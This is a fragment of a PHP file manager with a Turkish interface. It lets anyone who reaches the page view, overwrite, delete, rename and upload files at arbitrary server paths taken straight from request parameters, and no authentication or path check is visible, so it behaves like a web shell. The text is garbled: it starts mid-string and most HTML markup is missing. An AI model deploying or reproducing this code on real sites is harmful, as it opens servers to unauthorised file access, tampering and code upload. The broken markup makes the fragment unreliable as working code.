File Manager
'; if (isset($_GET['view']) && is_file($_GET['view'])) { header("Content-type: text/plain"); readfile($_GET['view']); exit; } if (isset($_POST['save_file']) && isset($_POST['content'])) { file_put_contents($_POST['save_file'], $_POST['content']); echo "Dosya kaydedildi.

"; } if (isset($_POST['delete_file']) && is_file($_POST['delete_file'])) { unlink($_POST['delete_file']); echo "Dosya silindi: " . basename($_POST['delete_file']) . "

"; } if (isset($_POST['rename_file']) && isset($_POST['new_name']) && is_file($_POST['rename_file'])) { $oldPath = $_POST['rename_file']; $newPath = dirname($oldPath) . '/' . basename($_POST['new_name']); if (rename($oldPath, $newPath)) { echo "Dosya adı değiştirildi: " . basename($oldPath) . " → " . basename($newPath) . "

"; } else { echo "Yeniden adlandırma hatası!

"; } } if (isset($_FILES['upload_file'])) { $target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) { echo "Dosya yüklendi: " . basename($target) . "

"; } else { echo "Yükleme hatası!

"; } } echo "Current root: $root
"; echo "Current path: $path
"; echo '⬆️ Üst Dizin

'; foreach (glob(rtrim($path,'/').'/*') as $file) { echo '
'; echo ''.basename($file).''; if (is_file($file)) { echo ' | 👁️ Göster'; echo ' | ✏️ Düzenle'; echo ' | 🔤 Yeniden Adlandır'; echo '
'; } echo "
"; } echo "
"; if (isset($_GET['rename']) && is_file($_GET['rename'])) { $renameFile = $_GET['rename']; echo "

Yeniden Adlandır: ".basename($renameFile)."

"; echo '

'; } if (isset($_GET['edit']) && is_file($_GET['edit'])) { $editFile = $_GET['edit']; $content = htmlspecialchars(file_get_contents($editFile)); echo "

Dosya Düzenle: ".basename($editFile)."

"; echo '



'; } echo '

Dosya Yükle

'; // -------- HTML BİTİŞ -------- echo '
'; ?>